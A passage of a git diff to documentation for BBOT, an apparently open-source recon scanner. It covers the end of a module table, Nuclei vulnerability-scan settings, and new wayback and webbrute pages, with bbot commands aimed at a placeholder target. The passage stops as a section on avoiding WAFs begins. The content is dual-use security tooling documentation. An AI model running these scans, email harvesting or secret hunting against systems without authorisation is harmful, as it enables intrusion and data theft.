+| gitdumper             | scan     | No              | Download a leaked .git folder recursively or by fuzzing common names                                                                                  | code-enum, download, passive, safe, slow                   | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2025-02-11     |
+| github_codesearch     | scan     | Yes             | Query Github's API for code containing the target domain name                                                                                         | code-enum, passive, safe, subdomain-enum                   | DNS_NAME                                                                                                                                | CODE_REPOSITORY, URL_UNVERIFIED                                                          | @domwhewell-sage          | 2023-12-14     |
+| github_org            | scan     | No              | Query Github's API for organization and member repositories                                                                                           | code-enum, passive, safe, subdomain-enum                   | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2023-12-14     |
+| github_usersearch     | scan     | Yes             | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization.               | code-enum, passive, safe                                   | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, SOCIAL                                                                    | @domwhewell-sage          | 2025-05-10     |
+| github_workflows      | scan     | Yes             | Download a github repositories workflow logs and workflow artifacts                                                                                   | code-enum, download, passive, safe                         | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-04-29     |
+| google_playstore      | scan     | No              | Search for android applications on play.google.com                                                                                                    | code-enum, passive, safe                                   | CODE_REPOSITORY, ORG_STUB                                                                                                               | MOBILE_APP                                                                               | @domwhewell-sage          | 2024-10-08     |
+| hackertarget          | scan     | No              | Query the hackertarget.com API for subdomains                                                                                                         | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-28     |
+| hunterio              | scan     | Yes             | Query hunter.io for emails                                                                                                                            | email-enum, passive, safe, subdomain-enum                  | DNS_NAME                                                                                                                                | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED                                                  | @TheTechromancer          | 2022-04-25     |
+| ip2location           | scan     | Yes             | Query IP2location.io's API for geolocation information.                                                                                               | passive, safe                                              | IP_ADDRESS                                                                                                                              | GEOLOCATION                                                                              | @TheTechromancer          | 2023-09-12     |
+| ipneighbor            | scan     | No              | Look beside IPs in their surrounding subnet                                                                                                           | loud, passive, subdomain-enum                              | IP_ADDRESS                                                                                                                              | IP_ADDRESS                                                                               | @TheTechromancer          | 2022-06-08     |
+| ipstack               | scan     | Yes             | Query IPStack's GeoIP API                                                                                                                             | passive, safe                                              | IP_ADDRESS                                                                                                                              | GEOLOCATION                                                                              | @tycoonslive              | 2022-11-26     |
+| jadx                  | scan     | No              | Decompile APKs and XAPKs using JADX                                                                                                                   | code-enum, passive, safe                                   | FILESYSTEM                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-11-04     |
+| kreuzberg             | scan     | No              | Module to extract data from files                                                                                                                     | passive, safe                                              | FILESYSTEM                                                                                                                              | RAW_TEXT                                                                                 | @domwhewell-sage          | 2024-06-03     |
+| leakix                | scan     | Yes             | Query leakix.net for subdomains                                                                                                                       | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-11     |
+| myssl                 | scan     | No              | Query myssl.com's API for subdomains                                                                                                                  | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-10     |
+| otx                   | scan     | Yes             | Query otx.alienvault.com for subdomains                                                                                                               | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
+| pgp                   | scan     | No              | Query common PGP servers for email addresses                                                                                                          | email-enum, passive, safe                                  | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-08-10     |
+| portfilter            | scan     | No              | Filter out unwanted open ports from cloud/CDN targets                                                                                                 | passive, safe                                              | OPEN_TCP_PORT, URL, URL_UNVERIFIED                                                                                                      |                                                                                          | @TheTechromancer          | 2025-01-06     |
+| postman               | scan     | Yes             | Query Postman's API for related workspaces, collections, requests and download them                                                                   | code-enum, passive, safe, subdomain-enum                   | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2024-09-07     |
+| postman_download      | scan     | Yes             | Download workspaces, collections, requests from Postman                                                                                               | code-enum, download, passive, safe, subdomain-enum         | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-09-07     |
+| rapiddns              | scan     | No              | Query rapiddns.io for subdomains                                                                                                                      | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
+| securitytrails        | scan     | Yes             | Query the SecurityTrails API for subdomains                                                                                                           | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-03     |
+| shodan_dns            | scan     | Yes             | Query Shodan for subdomains                                                                                                                           | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-03     |
+| shodan_enterprise     | scan     | Yes             | Shodan Enterprise API integration module.                                                                                                             | passive, safe                                              | IP_ADDRESS                                                                                                                              | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY                                        | @Control-Punk-Delete      | 2026-01-27     |
+| shodan_idb            | scan     | No              | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities                                                                | passive, portscan, safe, subdomain-enum                    | DNS_NAME, IP_ADDRESS                                                                                                                    | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY                                             | @TheTechromancer          | 2023-12-22     |
+| skymem                | scan     | No              | Query skymem.info for email addresses                                                                                                                 | email-enum, passive, safe                                  | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-07-11     |
+| social                | scan     | No              | Look for social media links in webpages                                                                                                               | passive, safe, social-enum                                 | URL_UNVERIFIED                                                                                                                          | SOCIAL                                                                                   | @TheTechromancer          | 2023-03-28     |
+| subdomaincenter       | scan     | No              | Query subdomain.center's API for subdomains                                                                                                           | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-26     |
+| subdomainradar        | scan     | Yes             | Query the Subdomain API for subdomains                                                                                                                | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-08     |
+| trajan                | scan     | No              | Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool                                           | code-enum, passive, safe                                   | CODE_REPOSITORY, TECHNOLOGY, URL_UNVERIFIED                                                                                             | FINDING                                                                                  | @N7WERA                   | 2026-04-11     |
+| trickest              | scan     | Yes             | Query Trickest's API for subdomains                                                                                                                   | affiliates, passive, safe, subdomain-enum                  | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @amiremami                | 2024-07-27     |
+| trufflehog            | scan     | No              | TruffleHog is a tool for finding credentials                                                                                                          | code-enum, passive, safe                                   | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT                                                                                    | FINDING                                                                                  | @domwhewell-sage          | 2024-03-12     |
+| urlscan               | scan     | No              | Query urlscan.io for subdomains                                                                                                                       | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME, URL_UNVERIFIED                                                                 | @TheTechromancer          | 2022-06-09     |
+| viewdns               | scan     | No              | Query viewdns.info's reverse whois for related domains                                                                                                | affiliates, passive, safe                                  | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-04     |
+| virustotal            | scan     | Yes             | Query VirusTotal's API for subdomains                                                                                                                 | passive, safe, subdomain-enum                              | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-25     |
+| wayback               | scan     | No              | Query archive.org's Wayback Machine for subdomains, URLs, parameters, and archived content                                                            | passive, safe, subdomain-enum                              | DNS_NAME, URL                                                                                                                           | DNS_NAME, FINDING, HTTP_RESPONSE, URL_UNVERIFIED, WEB_PARAMETER                          | @liquidsec                | 2022-04-01     |
+| asset_inventory       | output   | No              | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV                                                               |                                                            | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF                                                       | IP_ADDRESS, OPEN_TCP_PORT                                                                | @liquidsec                | 2022-09-30     |
+| csv                   | output   | No              | Output to CSV                                                                                                                                         |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
+| discord               | output   | No              | Message a Discord channel when certain events are encountered                                                                                         |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
+| elastic               | output   | No              | Send scan results to Elasticsearch                                                                                                                    |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-11-21     |
+| emails                | output   | No              | Output any email addresses found belonging to the target domain                                                                                       | email-enum, safe                                           | EMAIL_ADDRESS                                                                                                                           |                                                                                          | @domwhewell-sage          | 2023-12-23     |
+| json                  | output   | No              | Output to Newline-Delimited JSON (NDJSON)                                                                                                             |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
+| kafka                 | output   | No              | Output scan data to a Kafka topic                                                                                                                     |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-22     |
+| mongo                 | output   | No              | Output scan data to a MongoDB database                                                                                                                |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-17     |
+| mysql                 | output   | No              | Output scan data to a MySQL database                                                                                                                  |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-13     |
+| nats                  | output   | No              | Output scan data to a NATS subject                                                                                                                    |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-22     |
+| neo4j                 | output   | No              | Output to Neo4j                                                                                                                                       |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-07     |
+| nmap_xml              | output   | No              | Output to Nmap XML                                                                                                                                    |                                                            | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL                                                                            |                                                                                          | @TheTechromancer          | 2024-11-16     |
+| postgres              | output   | No              | Output scan data to a SQLite database                                                                                                                 |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-08     |
+| rabbitmq              | output   | No              | Output scan data to a RabbitMQ queue                                                                                                                  |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-22     |
+| slack                 | output   | No              | Message a Slack channel when certain events are encountered                                                                                           |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
+| splunk                | output   | No              | Send every event to a splunk instance through HTTP Event Collector                                                                                    |                                                            | *                                                                                                                                       |                                                                                          | @w0Tx                     | 2024-02-17     |
+| sqlite                | output   | No              | Output scan data to a SQLite database                                                                                                                 |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-07     |
+| stdout                | output   | No              | Output to text                                                                                                                                        |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-04-03     |
+| subdomains            | output   | No              | Output only resolved, in-scope subdomains                                                                                                             | safe, subdomain-enum                                       | DNS_NAME, DNS_NAME_UNRESOLVED                                                                                                           |                                                                                          | @TheTechromancer          | 2023-07-31     |
+| teams                 | output   | No              | Message a Teams channel when certain events are encountered                                                                                           |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2023-08-14     |
+| txt                   | output   | No              | Output to text                                                                                                                                        |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-04-03     |
+| web_parameters        | output   | No              | Output WEB_PARAMETER names to a file                                                                                                                  |                                                            | WEB_PARAMETER                                                                                                                           |                                                                                          | @liquidsec                | 2025-01-25     |
+| web_report            | output   | No              | Create a markdown report with web assets                                                                                                              |                                                            | FINDING, TECHNOLOGY, URL                                                                                                                |                                                                                          | @liquidsec                | 2023-02-08     |
+| webhook               | output   | No              | Send every event to a custom URL via a webhook                                                                                                        |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-13     |
+| websocket             | output   | No              | Output to websockets                                                                                                                                  |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-04-15     |
+| zeromq                | output   | No              | Output scan data to a ZeroMQ socket (PUB)                                                                                                             |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-11-22     |
+| cloudcheck            | internal | No              | Tag events by cloud provider, identify cloud resources like storage buckets                                                                           |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2024-07-07     |
+| dnsresolve            | internal | No              | Perform DNS resolution                                                                                                                                |                                                            | *                                                                                                                                       | DNS_NAME, IP_ADDRESS, IP_RANGE, RAW_DNS_RECORD                                           | @TheTechromancer          | 2022-04-08     |
+| python                | internal | No              | Output via Python API                                                                                                                                 |                                                            | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-09-13     |
+| aggregate             | internal | No              | Summarize statistics at the end of a scan                                                                                                             | passive, safe                                              |                                                                                                                                         |                                                                                          | @TheTechromancer          | 2022-07-25     |
+| excavate              | internal | No              | Passively extract juicy tidbits from scan data                                                                                                        | passive, safe                                              | HTTP_RESPONSE, RAW_TEXT                                                                                                                 | URL_UNVERIFIED, WEB_PARAMETER                                                            | @liquidsec                | 2022-06-27     |
+| speculate             | internal | No              | Derive certain event types from others by common sense                                                                                                | passive, safe                                              | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB                                   | @liquidsec                | 2022-05-03     |
+| unarchive             | internal | No              | Extract different types of files into folders on the filesystem                                                                                       | passive, safe                                              | FILESYSTEM                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-12-08     |
 <!-- END BBOT MODULES -->
 
 For a list of module config options, see [Module Options](../scanning/configuration.md#module-config-options).
diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md
index d6b2fb16e3..c51e041067 100644
--- a/docs/modules/nuclei.md
+++ b/docs/modules/nuclei.md
@@ -7,14 +7,13 @@ BBOT integrates with [Nuclei](https://github.com/projectdiscovery/nuclei), an op
 ![Nuclei Killchain](https://github.com/blacklanternsecurity/bbot/assets/24899338/7174c4ba-4a6e-4596-bb89-5a0c5f5abe74)
 
 
-* The BBOT Nuclei module ingests **[URL]** events and emits events of type **[VULNERABILITY]** or **[FINDING]**
-* Vulnerabilities will inherit their severity from the Nuclei templates
-* Nuclei templates of severity INFO will be emitted as **[FINDINGS]**
+* The BBOT Nuclei module ingests **[URL]** events and emits events of type **[FINDING]**
+* Findings will inherit their severity from the Nuclei templates
 
 ## Default Behavior
 
 * By default, only "directory URLs" (URLs ending in a slash) will be scanned, but ALL templates will be used (**BE CAREFUL!**)
-* Because it's so aggressive, Nuclei is considered a **deadly** module. This means you need to use the flag **--allow-deadly** to turn it on.
+* Because it's aggressive and potentially destructive, Nuclei is tagged as both **loud** and **invasive**. BBOT will warn you before starting the scan, but no special flag is needed to enable it.
 
 ## Specifying custom templates
 
@@ -37,22 +36,22 @@ modules:
 The Nuclei module has many configuration options:
 
 <!-- BBOT MODULE OPTIONS NUCLEI -->
-| Config Option                 | Type   | Description                                                                                                                                                                                                                                                                                                                    | Default   |
-|-------------------------------|--------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------|
-| modules.nuclei.batch_size     | int    | Number of targets to send to Nuclei per batch (default 200)                                                                                                                                                                                                                                                                    | 200       |
-| modules.nuclei.budget         | int    | Used in budget mode to set the number of allowed requests per host                                                                                                                                                                                                                                                             | 1         |
-| modules.nuclei.concurrency    | int    | maximum number of templates to be executed in parallel (default 25)                                                                                                                                                                                                                                                            | 25        |
-| modules.nuclei.directory_only | bool   | Filter out 'file' URL event (default True)                                                                                                                                                                                                                                                                                     | True      |
-| modules.nuclei.etags          | str    | tags to exclude from the scan                                                                                                                                                                                                                                                                                                  |           |
-| modules.nuclei.mode           | str    | manual &#124; technology &#124; severe &#124; budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual    |
-| modules.nuclei.module_timeout | int    | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 21600     |
-| modules.nuclei.ratelimit      | int    | maximum number of requests to send per second (default 150)                                                                                                                                                                                                                                                                    | 150       |
-| modules.nuclei.retries        | int    | number of times to retry a failed request (default 0)                                                                                                                                                                                                                                                                          | 0         |
-| modules.nuclei.severity       | str    | Filter based on severity field available in the template.                                                                                                                                                                                                                                                                      |           |
-| modules.nuclei.silent         | bool   | Don't display nuclei's banner or status messages                                                                                                                                                                                                                                                                               | False     |
-| modules.nuclei.tags           | str    | execute a subset of templates that contain the provided tags                                                                                                                                                                                                                                                                   |           |
-| modules.nuclei.templates      | str    | template or template directory paths to include in the scan                                                                                                                                                                                                                                                                    |           |
-| modules.nuclei.version        | str    | nuclei version                                                                                                                                                                                                                                                                                                                 | 3.7.1     |
+| Config Option                 | Type                                                | Description                                                                                                                                                                                                                                                                                                                    | Default   |
+|-------------------------------|-----------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------|
+| modules.nuclei.batch_size     | int                                                 | Number of targets to send to Nuclei per batch (default 200)                                                                                                                                                                                                                                                                    | 200       |
+| modules.nuclei.budget         | int                                                 | Used in budget mode to set the number of allowed requests per host                                                                                                                                                                                                                                                             | 1         |
+| modules.nuclei.concurrency    | int                                                 | maximum number of templates to be executed in parallel (default 25)                                                                                                                                                                                                                                                            | 25        |
+| modules.nuclei.directory_only | bool                                                | Filter out 'file' URL event (default True)                                                                                                                                                                                                                                                                                     | True      |
+| modules.nuclei.etags          | str                                                 | tags to exclude from the scan                                                                                                                                                                                                                                                                                                  |           |
+| modules.nuclei.mode           | Literal['manual', 'technology', 'severe', 'budget'] | manual &#124; technology &#124; severe &#124; budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual    |
+| modules.nuclei.module_timeout | int                                                 | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 21600     |
+| modules.nuclei.ratelimit      | int                                                 | maximum number of requests to send per second (default 150)                                                                                                                                                                                                                                                                    | 150       |
+| modules.nuclei.retries        | int                                                 | number of times to retry a failed request (default 0)                                                                                                                                                                                                                                                                          | 0         |
+| modules.nuclei.severity       | str                                                 | Filter based on severity field available in the template.                                                                                                                                                                                                                                                                      |           |
+| modules.nuclei.silent         | bool                                                | Don't display nuclei's banner or status messages                                                                                                                                                                                                                                                                               | False     |
+| modules.nuclei.tags           | str                                                 | execute a subset of templates that contain the provided tags                                                                                                                                                                                                                                                                   |           |
+| modules.nuclei.templates      | str                                                 | template or template directory paths to include in the scan                                                                                                                                                                                                                                                                    |           |
+| modules.nuclei.version        | str                                                 | nuclei version                                                                                                                                                                                                                                                                                                                 | 3.9.0     |
 <!-- END BBOT MODULE OPTIONS NUCLEI -->
 
 Most of these you probably will **NOT** want to change. In particular, we advise against changing the version of Nuclei, as it's possible the latest version won't work right with BBOT.
@@ -104,20 +103,20 @@ The **ratelimit** and **concurrency** settings default to the same defaults that
 
 ```bash
 # Scan a SINGLE target with a basic port scan and web modules
-bbot -f web-basic -m portscan nuclei --allow-deadly -t app.evilcorp.com
+bbot -f web -m portscan nuclei -t app.evilcorp.com
 ```
 
 ```bash
 # Scanning MULTIPLE targets
-bbot -f web-basic -m portscan nuclei --allow-deadly -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
+bbot -f web -m portscan nuclei -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
 ```
 
 ```bash
 # Scanning MULTIPLE targets while performing subdomain enumeration
-bbot -f subdomain-enum web-basic -m portscan nuclei --allow-deadly -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
+bbot -f subdomain-enum web -m portscan nuclei -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
 ```
 
 ```bash
 # Scanning MULTIPLE targets on a BUDGET
-bbot -f subdomain-enum web-basic -m portscan nuclei --allow-deadly -c modules.nuclei.mode=budget -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
+bbot -f subdomain-enum web -m portscan nuclei -c modules.nuclei.mode=budget -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com
 ```
diff --git a/docs/modules/wayback.md b/docs/modules/wayback.md
new file mode 100644
index 0000000000..972949cb53
--- /dev/null
+++ b/docs/modules/wayback.md
@@ -0,0 +1,141 @@
+# Wayback
+
+## Overview
+
+The Wayback module queries [archive.org's Wayback Machine](https://web.archive.org/) CDX API to discover subdomains, URLs, web parameters, and archived content for your targets. By default it operates as a passive subdomain enumeration source, but with its extended features enabled it becomes a powerful tool for discovering dead URLs, extracting parameters for fuzzing, and retrieving archived versions of pages that no longer exist.
+
+* Watches: **DNS_NAME**, **URL**
+* Produces: **URL_UNVERIFIED**, **DNS_NAME**, **WEB_PARAMETER**, **HTTP_RESPONSE**, **FINDING**
+* Flags: `passive`, `subdomain-enum`, `safe`
+
+## Default Behavior
+
+By default, wayback only emits **DNS_NAME** events (subdomains) extracted from archived URLs. This is the behavior you get when wayback is included via the `subdomain-enum` preset. No URLs, parameters, or archived content are fetched.
+
+To unlock the more advanced features, you need to enable them via configuration options or use one of the wayback presets.
+
+## Configuration Options
+
+| Option              | Type | Default | Description                                                                                           |
+|---------------------|------|---------|-------------------------------------------------------------------------------------------------------|
+| `urls`              | bool | `False` | Emit `URL_UNVERIFIED` events in addition to `DNS_NAME`s. Required for `parameters` and `archive`.     |
+| `parameters`        | bool | `False` | Extract `WEB_PARAMETER` events from query strings in archived URLs. Requires `urls=True`.             |
+| `archive`           | bool | `False` | Fetch archived versions of dead URLs and emit `HTTP_RESPONSE` events. Requires `urls=True`.           |
+| `garbage_threshold` | int  | `10`    | Deduplicate similar URLs if they appear in groups of this size or larger. Lower = less noise.          |
+
+## Features
+
+### URL Discovery (`urls: True`)
+
+When `urls` is enabled, wayback emits `URL_UNVERIFIED` events for every unique URL found in the Wayback Machine's index. These are tagged with `from-wayback` and sent through BBOT's normal URL verification pipeline (the `http` module).
+
+Before emission, URLs go through several cleanup steps:
+
+- **URL collapsing** - Groups of similar URLs (e.g. pagination, search results) are deduplicated based on the `garbage_threshold` setting
+- **HTTP/HTTPS deduplication** - When both `http://` and `https://` variants exist, only the HTTPS version is kept
+- **Blacklist filtering** - URLs containing known CDN/WAF paths (e.g. `_Incapsula_Resource`, `/cdn-cgi/`) are filtered out
+
+### Parameter Extraction (`parameters: True`)
+
+When `parameters` is enabled (requires `urls: True`), wayback extracts query string parameters from archived URLs and emits them as `WEB_PARAMETER` events. This is useful for discovering GET parameters that can be fed into fuzzing modules like lightfuzz.
+
+Parameters are cached and only emitted after the corresponding URL has been verified as live by the `http` module. This prevents emitting parameters for URLs that no longer exist.
+
+!!! note
+    Parameter extraction requires at least one module that consumes `WEB_PARAMETER` events to be active (e.g. `lightfuzz`, `hunt`, `paramminer_getparams`). If no such module is present, parameter extraction is automatically disabled with a warning.
+
+### Archive Retrieval (`archive: True`)
+
+When `archive` is enabled (requires `urls: True`), wayback fetches the actual archived content of URLs from the Wayback Machine and emits them as `HTTP_RESPONSE` events. This is particularly useful for:
+
+- **Finding secrets in dead pages** - Archived versions may contain API keys, credentials, or other sensitive data that modules like `badsecrets` can detect
+- **Discovering hidden functionality** - Pages that have been removed may reveal application structure or endpoints
+
+Archive retrieval runs during the module's `finish()` phase, after all URLs have been discovered and verified. URLs that are confirmed live (2xx status) are automatically removed from the archive queue, so only dead URLs are fetched from the archive.
+
+The archived content goes through extensive cleanup to remove Wayback Machine artifacts:
+
+- Wayback toolbar/header/footer HTML is stripped
+- Rewritten URLs (e.g. `http://web.archive.org/web/20250101/http://example.com/page`) are restored to originals
+- Wayback-injected headers (`x-archive-*`, `set-cookie`) are removed
+- The event's host, port, and URL are set to the original target, not `web.archive.org`
+
+Archived HTTP_RESPONSE events are tagged with `from-wayback` and `archived`.
+
+!!! warning
+    Static file extensions (images, CSS, JS, etc.) are automatically skipped during archive retrieval to avoid unnecessary traffic.
+
+### Interesting File Detection
+
+When `urls` is enabled, wayback also checks for potentially interesting archived files by looking for URLs with sensitive extensions: `.zip`, `.sql`, `.bak`, `.env`, `.config`, `.tar.gz`, `.tar.bz2`.
+
+When found, these are verified with a HEAD request to archive.org. If the archived file exists and isn't a soft-404, a `FINDING` event is emitted with details about the file (including size if available). These findings are tagged with `from-wayback`, `archived`, and `interesting-file`.
+
+## Presets
+
+Wayback comes with two dedicated presets, and is also integrated into several other presets:
+
+### `-p wayback`
+
+Basic URL discovery mode. Includes `subdomain-enum` and enables `urls: True`. Good for general recon when you want to discover historical URLs alongside subdomains.
+
+```bash
+bbot -p wayback -t evilcorp.com
+```
+
+### `-p wayback-heavy`
+
+Full-featured mode with URL discovery, parameter extraction, and archive retrieval. Also includes `badsecrets` to scan archived content for exposed secrets.
+
+```bash
+bbot -p wayback-heavy -t evilcorp.com
+```
+
+### Integration with other presets
+
+Wayback's extended features are also enabled in several other presets:
+
+| Preset                | Wayback Config                          |
+|-----------------------|-----------------------------------------|
+| `kitchen-sink`        | `urls`, `parameters`, `archive`         |
+| `dirbust-heavy`       | `urls`                                  |
+| `nuclei-heavy`        | `urls`                                  |
+| `lightfuzz-heavy`     | `urls`, `parameters`                    |
+| `lightfuzz-max`       | `urls`, `parameters`, `archive`         |
+
+## Example Commands
+
+```bash
+# Basic subdomain enumeration (default behavior, no URL emission)
+bbot -p subdomain-enum -t evilcorp.com
+```
+
+```bash
+# URL discovery via wayback preset
+bbot -p wayback -t evilcorp.com
+```
+
+```bash
+# Full wayback integration with archived content and parameter extraction
+bbot -p wayback-heavy -t evilcorp.com
+```
+
+```bash
+# Enable wayback URLs alongside a nuclei scan
+bbot -p nuclei -m wayback -c modules.wayback.urls=True -t evilcorp.com
+```
+
+```bash
+# Pair with lightfuzz for parameter fuzzing using archived parameters
+bbot -p lightfuzz-heavy spider -t evilcorp.com
+```
+
+```bash
+# Enable wayback features via command-line config
+bbot -p subdomain-enum -c modules.wayback.urls=True modules.wayback.parameters=True modules.wayback.archive=True -t evilcorp.com
+```
+
+```bash
+# Adjust garbage threshold for cleaner output (more aggressive deduplication)
+bbot -p wayback -c modules.wayback.garbage_threshold=5 -t evilcorp.com
+```
diff --git a/docs/modules/webbrute.md b/docs/modules/webbrute.md
new file mode 100644
index 0000000000..c48faae0d4
--- /dev/null
+++ b/docs/modules/webbrute.md
@@ -0,0 +1,169 @@
+# Web Brute-Force (webbrute)
+
+## Overview
+
+`webbrute` is BBOT's built-in web directory and file brute-forcer, similar to tools like [ffuf](https://github.com/ffuf/ffuf) or [DirBuster](https://owasp.org/www-project-dirbuster/). It discovers hidden directories and files by sending a wordlist of common path names to a target and identifying responses that differ from the baseline (i.e., the server's default response to a nonexistent path).
+
+Unlike standalone tools, webbrute runs as part of BBOT's recursive pipeline. URLs discovered by other modules (spidering, wayback, etc.) are automatically fuzzed, and webbrute's discoveries feed back into the pipeline for further processing.
+
+Webbrute is powered by [blasthttp](https://github.com/blacklanternsecurity/blasthttp), our custom-built native Rust HTTP engine, giving it performance comparable to ffuf.
+
+## Quick Start
+
+```bash
+# Basic directory brute-force
+bbot -t example.com -m webbrute
+
+# With file extensions
+bbot -t example.com -m webbrute -c modules.webbrute.extensions=php,asp,jsp
+
+# Aggressive mode with larger wordlist and recursion
+bbot -t example.com -p dirbust-heavy
+```
+
+## Features
+
+### Extensions
+
+By default, webbrute tests each word as both a bare path (`/admin`) and as a directory (`/admin/`). You can add file extensions to also test paths like `/admin.php`, `/admin.asp`, etc.
+
+```yaml
+modules:
+  webbrute:
+    extensions:
+      - php
+      - asp
+      - aspx
+      - jsp
+```
+
+Each extension gets its own independent baseline, so a server that behaves differently for `.php` vs `.jsp` requests is handled correctly.
+
+### Recursive Fuzzing
+
+With `max_depth` set above 0, webbrute will recursively fuzz directories it discovers. For example, if it finds `/admin/`, it will fuzz `/admin/` with the same wordlist to discover `/admin/config/`, and so on up to the configured depth.
+
+```yaml
+modules:
+  webbrute:
+    max_depth: 3
+```
+
+### Wordlists
+
+The default wordlist is [raft-small-directories](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) from SecLists, limited to the first 5000 lines. You can specify a custom wordlist or merge multiple wordlists (duplicates are automatically removed):
+
+```yaml
+modules:
+  webbrute:
+    wordlist:
+      - https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt
+      - /path/to/custom-words.txt
+    lines: 10000
+```
+
+### Rate Limiting
+
+Webbrute respects BBOT's global `http_rate_limit` setting and also has its own per-module rate limit:
+
+```yaml
+modules:
+  webbrute:
+    rate: 100        # max requests per second (0 = unlimited)
+    concurrency: 50  # concurrent requests per URL
+```
+
+If both a module rate and a global rate are set, the more restrictive one wins.
+
+## WAF Detection and Avoidance
+
+Brute-forcing through a WAF wastes time and can get your IP blocked. Webbrute handles WAFs at multiple levels:
